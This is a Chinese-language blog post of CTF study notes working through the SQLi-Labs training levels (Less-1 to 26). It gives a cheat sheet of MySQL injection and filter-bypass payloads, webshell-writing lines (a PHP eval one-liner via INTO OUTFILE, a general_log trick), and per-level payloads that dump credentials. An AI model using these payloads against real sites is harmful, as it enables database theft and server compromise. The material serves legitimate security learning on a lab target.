CTF笔记(五)——SQLi Lab 做题小记【持续更新中】

内容纲要

SQLi Lab 做题小记

前言

本来是看不上sqlibab的,因为很多题可以用同一句话注入,都没啥做下去的欲望,但是发现自己注入还是太生疏,很多东西记不住,看来还是需要多练习并且记点东西以便查阅和回忆

常规Payload

爆字段数

order by ...
select 1,2,3,...

爆版本和用户

select user(),version(),@@version

爆路径

select @@basedir,@@datadir

爆数据库

select database();
show databases;
SELECT group_concat(schema_name) FROM information_schema.SCHEMATA;

爆数据表

show tables (from ...);
SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = ...;

爆字段名

SELECT COLUMN_NAME,DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = ...;
show columns from ...;
select * from (select * from users as a join users b using(id,username,password))c

串接

concat(value1,value2,...)
select group_concat(column_name) from ... where ...

嵌套

双查询

select 1,(select 2),concat((select 3))

派生表

select 1 from (select ...)x

盲注Payload

逻辑注入

substr(string,start,n)
mid(string,start,n)
left(string,n)
ascii(chr)
ord(chr)
ifnull(chr,error)
exists(exp)
cast(X as b) # transfer X type to b

报错注入

floor注入

原型
select count(*) from 记录数多的表.多于三种值的字段 group by concat_ws(查询语句,floor(rand()*2))
select count(*),concat_ws(version(),floor(rand()*2))a from web_test.discus group by a
select 1 from (select count(*),concat_ws(version(),":",floor(rand()*2))a from information_schema.schemata group by a)x
绕过表名过滤

使用如下派生表代替表名

select 1 union select 2 union select 3
绕过rand过滤

定义用户变量a,不停a=(a+1)%2

select sum(@a:=1),min(@a:=1),max(@a:=1) from information_schema.tables group by concat(@@version,@a:=(@a+1)%2)

溢出注入

有版本限制,5.5.5<=mysql<5.5.53(?)

select exp(~(select*from(查询语句)x))
select exp(if((select xxx) like '{{str}}')1,2),1025) # pow 代替exp
select ~0+!(select * from (查询语句)x)# + uri需转义为%2B

XPATH注入

select updatexml(1,concat(1,查询语句),1)
select extractvalue(1,concat(1,查询语句))

NAME_CONST

有版本限制,5.0.12<=mysql<?,最新的只能获取到version()

select * from (select name_const(version(),0),name_const(version(),0))x

时间注入

这个其实本质还是布尔注入,只是需要加一句sleep用来判断是否成功

if(exp,sleep(10),else)

比如

?id=1' and sleep(13) union select 1,2,3,4--+
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+

堆叠注入

预处理拼接

改表名

绕过execute过滤: handler

table(mysql新特性)

(union) select * from table_name => (union) table table_name

常见绕过

过滤=

regexp 'a*'
like '%dmin'
in 'admin'

过滤information_schema

//mysql>=5.6
select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();
//mysql>=5.7.9 <=?<=10
//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
//performance_schema
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
//包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

MySQL 5.6 及以上版本存在innodb_index_statsinnodb_table_stats两张表,其中包含新建立的库和表

之前的查询记录

SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();

无列名注入

//使用`union select`
select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1
//无逗号,有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
//盲注
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))

无select

mysql 8.0.19新增语句table
MySQL :: MySQL 8.0 Reference Manual :: 13.2.12 TABLE Statement

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以把table t简单理解成select * from t,和select的区别在于

  • table总是显示表的所有列
  • table不允许任何的行过滤;也就是说,TABLE不支持任何WHERE子句。
    可以用来盲注表名
admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#

同时代替select被过滤导致只能同表查询的问题

PS:新增的values语句也挺有意思,在某些情况似乎可以代替unionselect进行order by盲注

绕过 and or xor

&& || | !

绕过

substr(x,1,1)=>substr(x from 1 for 1)
sleep() => benchmark()
group_concat() => concat_ws()
substr(),mid()=>substring()
bin()、hex() => ascii()
@@user => user()

where usernme = 'admin' limit 1 => where username = 'admin'/*' limit '*/ and true;

order by desc -> order by if (xxx,1,2)

宽字节注入

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes()
转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf

default-character-set=GBK

方法二:
在建立连接时使用

SET CHARACTER SET ‘GBK’

例:

mysql_query(“SET CHARACTER SET ‘gbk&#39;”, $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

绕过where中对某字段的限制

如password屏蔽了extravalue(),那么就把passowrd屏蔽了

?username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

MySQL 服务器伪造读取任意文件

框架 xmap wamp phpstudy … 下存在页面可以设置链接任意数据库,链接数据库时数据库服务器可以向客户端请求一个任意文件来认证

常见错误

Unknown column ‘security’ in ‘where clause’

拼凑sql语句时对字符类型数据没有用引号引起来

例如

stmt.executeQuery("select * from user where username = " + name);

应该修改为

stmt.executeQuery("select * from user where username = '" + name + "'");

MySQL get shell

直接写入

需要 show global variables like %secure% 结果中 xxx_priv 为 True

select '<php @eval($_post[1])?>'into outfile/var/www/html/shell. php

日志文件

Set global general_log ="ON";
set global general_log_file='E:/phpstudy/phpTutorial/www/shell.php'

查看绝对路径

select @@basedir:

提权

初阶难度

Less-1

?id='

先乱输一些东西他有报错

You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near ‘”’ LIMIT 0,1′ at line 1

所以猜测查询语句为

select * where id='$_GET[id]' limit 0,1

使用联合查询试一试他有几个字段

?id=' union select 1,2,3--+

然后发现是三个字段,并且输出到网页的是是第2和第3个字段,然后就

爆库名

?id=' union select 1,2,database()--+

爆表名

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名

?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

爆数据

?id=' union select 1,group_concat(username),group_concat(password) from security.users--+

Less-2

?id='

乱输一气报错

You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near ‘ LIMIT 0,1′ at line 1

可以看到下划线加粗部分和Less-1中不同,在Less-1中

?id=1'--+

是可以正常执行的,但是Less-2中报错和上面一样,但是

?id='1'--+

是能正确执行的(但在Less-1中不能)

故猜测查询语句应为

select * where id=$_GET[id] limit 0,1

即查询的整数类型字段值没有用单引号括起来(难怪叫intiger based)

其余步骤和Less-1无异,不再赘述

Less-3

?id='

老样子乱输一气,报错

You have an error
in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near ‘”’) LIMIT 0,1′ at line
1

可以发现相比Less-1多了个括号,故猜测如下

select * where id=('$_GET[id]') limit 0,1

所以对应位置给闭合一下就可以了,比如

?id=') union select 1,2,3--+

不再赘述

Less-4

?id='

发现没有返回数据,因为有提示double quote,所以换双引号

?id="

报错如下

You have an error
in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near ‘""") LIMIT 0,1′ at line
1

可见查询语句应该是

select * where id=("$_GET[id]") limit 0,1

所以注入语句改一下

?id=") union select 1,2,3--+

不再赘述

Less-5

这题网页不显示数据,因此需要盲注中的报错注入

floor注入

?id=' union select count(*),1,2 from information_schema.tables group by concat((select concat(username,":",password) from security.users limit 0,1),floor(rand()*2))--+

extravalue注入

?id=' union select extractvalue(1, (select concat(1,username) from security.users limit 0,1)),1,2--+

Less-6

和上一题差不多,就是单引号变成了双引号

Less-7

这题不仅没有数据回显,报错的详细信息也隐藏了

传统艺能试一下

?id='

报错。应该是单引号

?id=' union select 1,2,3--+

竟然还是报错

?id=1

正常的啊,难道不是单引号?

?id=1'--+

报错,难道有括号?

?id=1')--+

还是不行?

?id=1'))--+

可以了,看来有两个括号。。。

这题不知道为什么不行,是写权限的问题?

-1')) union select 1,2,3 into outfile "/var/lib/mysql/hhaha.php"--+

Less-8

布尔盲注

猜数据库名长度

?id=1' and length(database())=8--+

猜数据库名每一个字符

?id=1' and left(database(),1)='S'--+
?id=1&#39; and left(database(),1)=&#39;Se&#39;--+

不再赘述

?id=1' and left((select username from security.users limit 0,1),1)='d'--+

Less-9

这题你会发现无论你输入什么都是you are in …

根据提示 这道题应该使用时间注入

尝试

?id=1' and sleep(10)--+

会发现火狐浏览器标签页上的小圆点来回了10次(10s),说明sleep被执行了

?id=1' and sleep(10) and (select password from security.users limit 0,1)='dumb'--+

Less-10

Less-9 的单引号变双引号

?id=1" and sleep(10) and (select password from security.users limit 0,1)='dumb'--+

Less-11

进入POST请求类型的注入,竟然给了表单,真好

uname='&passwd=&submit=Submit

随便试一下,报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1

一般的单引号注入不赘述了.

万能密码#1

uname=1'=0 or '&passwd=&submit=Submit
... where username='1'=0 or '' and password='' LIMIT 0,1

万能密码#2

uname=' or '1&passwd=1'='0&submit=Submit
... where username='' or '1' and password='1'='0' LIMIT 0,1

payload

uname=' union select 1,group_concat(username,password) from security.users#&passwd=&submit=Submit

Less-12

uname=") union select 1,group_concat(username,password) from security.users#&passwd=&submit=Submit

Less-13

uname=') union select extractvalue(1, (select concat(1,username,":",password) from security.users limit 1,1)),1#&passwd=&submit=Submit

Less-14

标题貌似写错了?应该是双引号吧,而且没有twist

uname=" union select extractvalue(1, (select concat(1,username,":",password) from security.users limit 1,1)),1#&passwd=&submit=Submit

Less-15

万能密钥真好用这里不能像GET的时候直接id=1,因为id=1是存在的,返回的是真,但是这里是输入用户名,再username=1的话就不管用了。这个时候有两个办法

  1. 万能钥匙

    uname=1'=0#&passwd=&submit=Submit
  2. 常见用户和弱口令

    uname=admin&passwd=admin&submit=Submit

所以这里直接来

uname=1'=0 and (select password from security.users limit 0,1)='dumb'#&passwd=&submit=Submit

Less-16

这里的双引号后面要加个括号

uname=1")=0 and (select password from security.users limit 0,1)='dumb'#&passwd=&submit=Submit

Less-17

这题尝试后会发现username字段有过滤,故只能用password字段搞事情

uname=admin&passwd=123' and extractvalue(1,concat(1,(select password from security.users limit 0,1)))#&submit=Submit

Less-18

这道题需要事先知道用户名和密码?

User-Agent: ' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1

Less-19

同上一题

Referer: ' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1

Less-20

buuoj上的环境有问题,response没有返回set-cookie…

所以手动构造cookie

Cookie: uname=' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1

还有就是后台逻辑仅在POST没有submit参数的时候使用cookie,因此Payload里不能有submit参数

进阶模式

… 我知道为啥buuoj的环境有问题了,估计是部署了一个有bug的sqli-labs …

所以接下来我换环境了!借用 鹏神的服务器上搭好的 sqli-labs

Less-21

这道题和Less-20差不多,就是cookie被base64编码了

先乱输一个

Cookie: uname=Jw== #base64.encode("'")='Jw=='

报错

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

可以知道有括号

所以

>>> import base64
>>> base64.encode(b"') and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or (1='1")
b'JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgxLChzZWxlY3QgcGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpKSkgb3IgKDE9JzE=''
Cookie: uname=JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgxLChzZWxlY3QgcGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpKSkgb3IgKDE9JzE=

Less-22

单引号变双引号,而且没括号

>>> import base64
>>> base64.b64encode(b'"')
b'Ig=='
Cookie: uname=Ig==

报错

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" LIMIT 0,1' at line 1

>>> import base64
>>> base64.b64encode(b'" and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1="1')
b'IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDEsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSkpKSBvciAxPSIx'
Cookie: uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDEsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSkpKSBvciAxPSIx

Less-23

过滤掉了注释符,所以闭合’就好了

?id=-1' union select 1,(select group_concat(username,"@",password) from security.users ),'3 

Less-24

???

Less-25

把 or 给过滤了,需要双写绕过。。。 passwoorrd

?id=-1' union select 1,(select group_concat(username,"@",passwoorrd) from security.users ),3--+

Less-26

过滤空格,而且过滤了各种注释(注释能用来过滤空格,/、/*、-、–+啥都没了),可以用一下URL编码代替空格

同时也过滤了o

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %20 空格
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格
  • ;%00注释
  • /*! */
  • ()括号括起来
?id=0'%a0union%a0select%a01,(select%a0group_concat(username,"@",passwoorrd)%a0from%a0security.users),'3
标签:

不说点什么喵?

1 + 16 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据